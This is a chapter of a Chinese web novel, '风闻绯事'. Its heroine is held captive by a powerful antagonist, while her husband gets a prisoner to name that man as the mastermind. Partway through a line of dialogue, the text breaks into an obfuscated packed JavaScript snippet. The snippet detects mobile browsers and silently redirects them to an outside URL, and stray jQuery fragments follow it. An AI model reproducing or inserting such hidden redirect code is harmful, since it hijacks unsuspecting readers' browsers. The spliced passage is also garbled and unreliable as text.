160. 棋子
作品:《风闻绯事》 自从回到独栋别墅,楚妍姝就片刻不离地跟着她。
江知渺站在卫生间门口,无奈地叹了口气:“上厕所也要监视吗?”
“哼,谁知道你会不会悄悄搞什么小动作。”
她嘀嘀咕咕地转过身,江知渺总算获得了片刻宁静。
她对着镜子里面色苍白的自己,自嘲地笑了笑。
事已至此,她还能搞什么小动作呢?
“明天会正式公布国家级演员的评选结果,当然会有你。在那之前,你必须待在这里。否则,邵聿身边路过的每一个人,都有可能割断他的喉咙。”
蒋宥晖的警告还不时回荡在耳边,她不敢拿邵聿的前途去赌。
他没有那么好心,不可能平白无故给她一个国家级演员的称号,恐怕这只是开端。
评选之后对她完完全全的控制,利用她再去继续洗钱或是谋取私利,才是他的目的。
尽管他手下许许多多鹰犬已经落网,可那不会是全部,而且他的许多财产想必已经通过运作转移到警方鞭长莫及的地方,只要他想,他就能够故技重施。
大不了,到时候再把新的一批白手套丢掉。
独自在卫生间的时间有些长了,门口楚妍姝开始不耐烦地跺脚。
楚妍姝……江知渺眼前一亮,忽然有了新的想法。
“妍姝,我的房间在哪里?”
楚妍姝翻了个白眼,“不知道,这种事你去问尹叔啊,问我干什么?”
“尹叔说蒋总没给我安排房间,他也不敢做主。”她老老实实地回答。
“那你去找他问,我又不是管家。”
江知渺突然上前一步,两人之间只有一拳的距离,她比楚妍姝要高一些,对方不得不挑着眉看向她。
“妍姝,你和蒋总关系很好吧?这种小事你肯定能做主,就不劳烦他了。”
楚妍姝警惕的眼神有一丝松动,很快又皱起眉头。
“你在套我的话?”
江知渺赶紧无辜地眨了眨眼,退后一步,双手举到身前,“哪有,你想多了,我是真的想回房间休息一会儿。”
安排个房间,应该不会有大问题。楚妍姝想了想,直接把她安置在自己隔壁的房间。
“我警告你,不许乱跑,更不要企图逃跑。”
见她乖巧地点头,楚妍姝半信半疑地扭过脸,准备返回自己房间时,被她拉住了手腕。
“妍姝,你和蒋总,是情侣关系吗?”
指尖下的脉搏陡然加快,原本干燥温润的皮肤也冒起冷汗。
楚妍姝的肩膀抖了一下,滞涩地回过头,用一种复杂的眼神,打量着她,似乎在等她解释。
江知渺没有如她的愿,她轻描淡写地勾了勾嘴角,倏地松开手。
“不好意思,是我看错了。”
她若无其事地挥挥手,回到房间,如释重负地靠在门板上。
她猜对了,楚妍姝和蒋宥晖,绝对不是普通的情侣或是兄妹那么简单。
他们之间的熟稔是肉眼可见的,可却没什么暧昧气氛,倒更像是上下级。
但普通的上下级之间,会允许对方长期住在自己家里吗?
甚至楚妍姝违背蒋宥晖的意愿想要置她于死地,他也没有计较。
而且,如今回想起来,从楚妍姝第一次介绍蒋宥晖给她之日起,她对蒋宥晖的态度始终非常顺从,或者说带有一丝敬仰和向往。
如果没猜错的话,楚妍姝对蒋宥晖应该是喜欢的,而蒋宥晖对她的感觉,江知渺还拿不准。
这就够了,能够解释为什么楚妍姝对她有这么大的怨气。
她以为蒋宥晖对她是男女之间的占有欲,坦白来说他的行径也容易让人产生这种猜测:给她奖项,为她做礼服,让邵聿背上杀害柏霆宇的嫌疑,如今又逼迫他们离婚。
但她的感知非常清楚,蒋宥晖根本不是什么情之所至,他连人情都没有。
自己对他来说,只是一块七年前他父亲就没能征服的领地。
如今他羽翼丰满,拿捏一个从来没人能够掌握的“玩具”,更能给他带来成就感。
江知渺把自己扔到床上,平整顺滑的布料被她抓出深深的褶皱。
楚妍姝,从她身上一定能够发现什么。
夜幕降临,早已过了会见的时间。
不过马政阳帮他递了申请,邵聿这才得以在接近零点时,见到修茂德。
在这种时间见到他,修茂德却没有意料之中的惊讶。邵聿更加确定,白天一定发生了什么。
“我不想在你身上浪费时间,所以我问什么,你就老老实实地回答:知渺今天来过,你跟她说什么了?”
修茂德满不在意地打了个哈欠,打缕的头发落在眼前。他下意识举起右手去整理,却被手铐拖住,不想在对方面前露出尴尬的一面,于是干脆低垂着脑袋,任由它们耷拉下来。
邵聿心烦意乱地敲了敲桌面,吸引他注意的同时,也强行让自己更加清醒。
“五年以上十年以下有期徒刑,和十五年有期徒刑、无期徒刑或者死刑之间的区别,还需要我提醒你吗?”
修茂德猛地抬起头,垂下来的头发像八爪鱼一样扭曲地挂在脸上。
他顾不得什么体面了,举起被拷住的双手,胡乱把头发蹭到一边,露出死鱼一样灰白的眼珠。
“或者说,洗钱,和贩卖运输毒品……”
“你找死吗?”修茂德终于开口了,他恶狠狠地瞪着邵聿,死死地咬紧后牙,弓着背,宛如蓄势待发的野兽。
两个狱警快步上前,拽着他的手臂,把他按在桌面上。
“没事,放开他吧。”邵聿冲他们摆摆手。
狱警犹犹豫豫地对视一眼,试探着松开手。
方才那一下巨大的冲击力让修茂德差点背过气去,他趴在桌子上,缓了很久才开始粗重地呼吸。
“你说得对,我就是在找死。”邵聿冷笑一声,“他不是不希望我死吗,我死了,他还拿什么威胁知渺?”
“哼,活人比死人更好钳制。”修茂德话里有话,挑衅似的瞥了他一眼。
邵聿深吸了一口气,克制住揍他的冲动。
“那你们为什么要害死关旖旎?”
这个名字太过久远,以至于修茂德思索了好一会儿,才震惊地望向他。
邵聿的耐心快要耗尽了,“接下来要我替你说吗?”
眼看自己什么筹码都没了,修茂德终于认命般地后仰,眼睛呆滞地盯着天花板,“听话的棋子,是不会被毁掉的。”
一语双关,邵聿抓住他情绪上的细微波动,追问他:“你是哪种棋子?”
修茂德茫然地摇了摇头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400359|171696||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“我不知道,我……我没做过对不起他的事。”
“他是谁?”
邵聿的掌心已经被冷汗沁透,心快要从嗓子眼跳出来。
可他不敢催促,连动也不敢动,生怕一丁点变故就影响了对面好不容易松动的意志。
只见修茂德痛苦地捂住肺腑,万般纠结几乎要把他吞噬,整个人在椅子上蜷缩成一团,半长的花白头发挡住无神双眼,身体犹如厉鬼扭曲摇晃。
“蒋宥晖。”
他从喉咙里挤出的这三个字宛如晴天霹雳,直直地劈向邵聿的头顶。
呼吸、心跳、血液循环,一切能够证明他活着的感受,通通消失了。
他好像变成一个毫无生气的幽魂,飘荡在这间密闭的会见室里。
“蒋宥晖?”
“蒋宥晖……”
大脑费力地理解着这三个字,不知是不是熬了一天,太阳穴剧烈胀痛。
他想起来了,想起自己与他唯一的一次会面。
所有琐碎凌乱的思绪都以光速飞快链接起来,顿时令他毛骨悚然。
原来他们一直苦苦追寻的那个真凶,从来都在身边,甚至还耀武扬威地出现在他和知渺的家里。
“他在哪儿!”
邵聿几乎是在嘶吼,他顾不得狱警的阻拦,冲上去揪住修茂德的衣领,怒目圆睁。
修茂德皮笑肉不笑地眯着眼睛,仿佛是在欣赏他失控的样子。
“哈哈哈,我怎么知道?”
邵聿像扔垃圾一样,把他扔回去。修茂德被桌角磕了一下,一时脱力,跪在地上。
他倒吸了一口凉气,艰难地对邵聿说:“你要是找到他的话,记得也帮我带句话:我就算到了阴曹地府,也不会放过他。”
江知渺不敢睡着,竖着耳朵听外面的动静。
直到时针指向凌晨三点,她才终于确定:蒋宥晖今晚应该不会回来了。
她小心翼翼地推开房门,踮着脚尖,静悄悄地往楼上走。
晚饭时她从楚妍姝嘴里套出,蒋宥晖的房间在三层最东侧。
江知渺想过了,哪怕她侥幸从这里逃出去,告诉警察罪魁祸首是谁,也没有任何证据能够证明他与这些事情有关。
她需要明确的证据,不知道明天过后还有没有机会回到这个房子,今晚是最好的机会。
“你终于忍不住了?”
刚踏上二层的楼梯,楚妍姝的声音从身后幽幽响起,她大脑一片空白,拖着僵硬的身体转过去。
“知渺姐,这么晚,去楼上做什么?”
她意识到自己中了圈套,讪笑道:“睡不着,四处逛逛。”
“是想去蒋总的房间吧?”
江知渺僵在原地,干脆一言不发地等待着接下来可能发生的一切。
向蒋宥晖告状?或是干脆替他“了结”了这个麻烦?
“我知道你是骗他的,你怎么可能这么乖乖地听话呢?”楚妍姝一步步靠近了。
“他也知道,可他说不用管你。”她轻蔑地笑了笑,“他以为你拿他没办法。”
所以呢?现在是来戳穿她,让她彻底死心吗?江知渺眉头紧蹙,读不懂楚妍姝的意思。
“不过——”
楚妍姝拖了个长音,不自然地顿了许久,才慢慢开口:“如果我帮你,他就死定了。”

